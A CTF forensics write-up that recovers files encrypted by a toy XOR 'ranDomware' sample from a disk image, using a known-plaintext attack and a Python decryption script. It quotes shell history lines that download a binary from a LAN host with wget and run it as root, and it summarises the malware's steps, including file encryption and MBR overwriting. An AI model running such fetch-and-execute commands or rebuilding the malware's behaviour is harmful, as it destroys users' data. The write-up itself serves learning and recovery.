Tags: forensics reversing crypto malware 

Rating: 5.0

# [SECCON Quals CTF 2016](http://2016.seccon.jp/): [randomware](https://score-quals.seccon.jp/question/19a84b2eeb383263660420d7aa70372120b89771)

**Category:** Forensics
**Points:** 300
**Solves:** 38
**Description:**

> randomware
>
> My PC suddenly got broken. Could you help me to recover it please?
> NOTE: The disk can be virus-infected. DO NOT RUN any programs extracted from the disk outside of sandbox.
>
> [disk.qcow2.zip](http://files.quals.seccon.jp/disk.qcow2.zip)
> Challenge files is huge, please download it first. Password will release after 60min.
>
> password: h9nn4c2955kik9qti9xphuxti

## writeup

A short, not so hard forensics challenge, but perhaps more reversing
including basic crypto. Unzipping the challenge zip (with the provided
password) it is a plain
[qcow2](https://en.wikipedia.org/wiki/Qcow) image. It is a dense
[copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write)
format. To deal with it easier, let us convert it to raw
with [`qemu-img`](https://linux.die.net/man/1/qemu-img)
(included with [qemu](http://wiki.qemu.org/Main_Page):

```
$ qemu-img convert disk.qcow2 disk.raw
```

The output file looks like a raw disk image, but
partition table seems to be corrupted:

```
$ file disk.raw
disk.raw: DOS/MBR boot sector
$ fdisk -l disk.raw
Disk disk.raw: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000
```

Dumping the file shows lots of data, so let us try to
recover that corrupted partition table (using the
standard recovery tool [TestDisk](http://www.cgsecurity.org/wiki/TestDisk)).
Doing an "Analyse / Quick Search" with "Intel" partition
type on the raw disk image immediately reveals the
healthy FAT32 partition. It is not important, but
it can be written to the file.

![TestDisk](./screenshot_testdisk.png)

Now the disk image has been fixed, FAT32 partition
is available:
```
$ fdisk -l disk.raw
Disk disk.raw: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device Boot Start End Sectors Size Id Type
disk.raw1 * 63 2088449 2088387 1019.7M b W95 FAT32
```

Mounting it is straightforward (it starts on sector 63,
sector size is 512 bytes, so offset is `63*512=32256` (in bytes)):
```
# mount -t vfat -o offset=32256,ro disk.raw mnt/
```

Observing the structure it can be identified as a
[Tiny Core Linux](http://tinycorelinux.net/welcome.html) system.
The custom part of the system is probably in `/mydata.tgz`,
so it should be the most interesting stuff for further investigation.

It contains a home directory for user `tc` with some basic (almost
useless) config folders, a `.mozilla` folder with a profile, and
some very interesting files in the home:
```
home/tc/.ash_history
home/tc/getflag
home/tc/h1dd3n_s3cr3t_f14g.jpg
```

Here we should not forget the challenge NOTE about virus-infection:
the `getflag` is an ELF32 binary which must not be executed (outside
a sandbox!).

Dumping the history file:
```
tce-load -wil firefox-ESR
exit
tce-load -i firefox-ESR
firefox 172.17.0.1
wget http://172.17.0.1/getflag.bin -O getflag --user-agent="Chrome"
./getflag
chmod +x getflag
./getflag
sudo ./getflag
ls
firefox h1dd3n_s3cr3t_f14g.jpg
```

So the user invoked [`tce-load`](http://wiki.tinycorelinux.net/wiki:tce-load)
and installed Firefox-ESR, downloaded `getflag` binary (from LAN)
executed getflag (as root, probably not the best idea ;) ), and tried to open
`h1dd3n_s3cr3t_f14g.jpg` in Firefox.

Unfortunately the jpeg file is a garbage.

### reversing the malware

The binary `getflag` is an ELF32, dynamically linked and fortunately not
stripped binary:
```
$ file home/tc/getflag
home/tc/getflag: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60e977599ec0a53c4406d8a9a941ce736aff9064, not stripped
```

It is a short binary full of symbols, so basic usage of
[r2](http://radare.org/r/) is more than enough to understand the malware.

![pdf @sym.main](./screenshot_r2.png)

So the malware (ranDomware) does the following:

1. Checks for user id (==`root`)
2. `wget http://172.17.0.1/h1dd3n_s3cr3t_f14g.jpg`
3. Creates `encrypt_key` with 0x400 bytes pulled from `/dev/urandom`
4. Searches `/home/tc` recursively for files with suffix
`.txt`, `.bin`, `.jpg`, `.jpeg`, `.png`, `.gif`, `.bmp`, `.tif`, `.tiff`,
`.doc`, `.docx`, `.docm`, `.xls`, `.xlsx`, `.xlsm`, `.ppt`, `.pptx`, `.pptm`,
`.odt`, `.odf`, `.xml`.
5. Encrypts and overwrites the matching files by XORing somehow with
the random `encrypt_key`.
6. And as a bonus, overwrites the MBR of the disk with a custom code. (WARNING: DO NOT TRY TO EXECUTE IT!!!)

### ranDomware vulnerability

In order to decrypt the encrypted `h1dd3n_s3cr3t_f14g.jpg`, the
random generated `encrypt_key` must be found somehow. It is not
impossible, because the malware XOR encrypts every file it founds
with exactly the same `encrypt_key`. Thus, if we find an encrypted
file (`C`) with known plaintext `P` (and with a size bigger than
the key size (0x400 = 1024 byes)), the key can be calculated
trivially:
```
encrypt_key = C[:0x400] ^ P[:0x400]
```

### searching for known plaintext

There are possible encrypted `*.xml` files with known plaintext in
`home/tc/.local/share/mime/packages/` but the size is too small.
Fortunately there is an encrypted `blocklist.xml` file in the
Firefox profile folder:
```
home/tc/.mozilla/firefox/wir5mrmb.default/blocklist.xml
```

Now the original plaintext of `blocklist.xml` must be found.
Probably it is part of the appropriate Firefox tarball.
Reading `prefs.js` from the profile dir, the variable
`gecko_mstone` identifies the version: `45.0`. Moreover,
it is surely an
[ESR](https://www.mozilla.org/en-US/firefox/organizations/faq/)
according to the previously parsed `.ash_history` file above.

Browsing the
[Firefox FTP release folder](https://ftp.mozilla.org/pub/firefox/releases/),
the [45.0esr](https://ftp.mozilla.org/pub/firefox/releases/45.0esr/)
version can be [downloaded](https://ftp.mozilla.org/pub/firefox/releases/45.0esr/linux-i686/en-US/firefox-45.0esr.tar.bz2).

Extracting the tarball `firefox/browser/blocklist.xml` matches
the encrypted `blocklist.xml` size (207840 bytes), so it is almost sure,
that the corresponding plaintext file has been found.

### Decrypting the flag

The following simple [Python3 script](./decrypt.py)
calculates the XOR key from the plaintext and
encrypted version of `blocklist.xml` and decrypts
`h1dd3n_s3cr3t_f14g.jpg`:

```python
#!/usr/bin/python3
#

key = [b'\x00']*0x400
enc = open('./home/tc/h1dd3n_s3cr3t_f14g.jpg', 'rb').read()
dec = b''

f2 = 'blocklist.xml'
c2 = open('./home/tc/.mozilla/firefox/wir5mrmb.default/' + f2, 'rb').read()
p2 = open('./firefox/browser/' + f2, 'rb').read()

for i in range(len(key)):
key[i] = bytes([p2[i] ^ c2[i]])

for i in range(len(enc)):
dec += bytes([enc[i] ^ ord(key[i%len(key)])])

open('./f14g_decrypted.jpg', 'wb').write(dec)
```

Displaying the output jpeg shows the flag:
```
SECCON{This is Virtual FAT too}
```

![SECCON{This is Virtual FAT too}](./f14g_decrypted.jpg)

The challenge was completed in the awesome team
[OpenToAll](https://ctftime.org/team/9135) which finished as
[21st](http://ranking.quals.seccon.jp/).

Original writeup (https://github.com/tothi/ctfs/tree/master/seccon-quals-ctf-2016/randomware).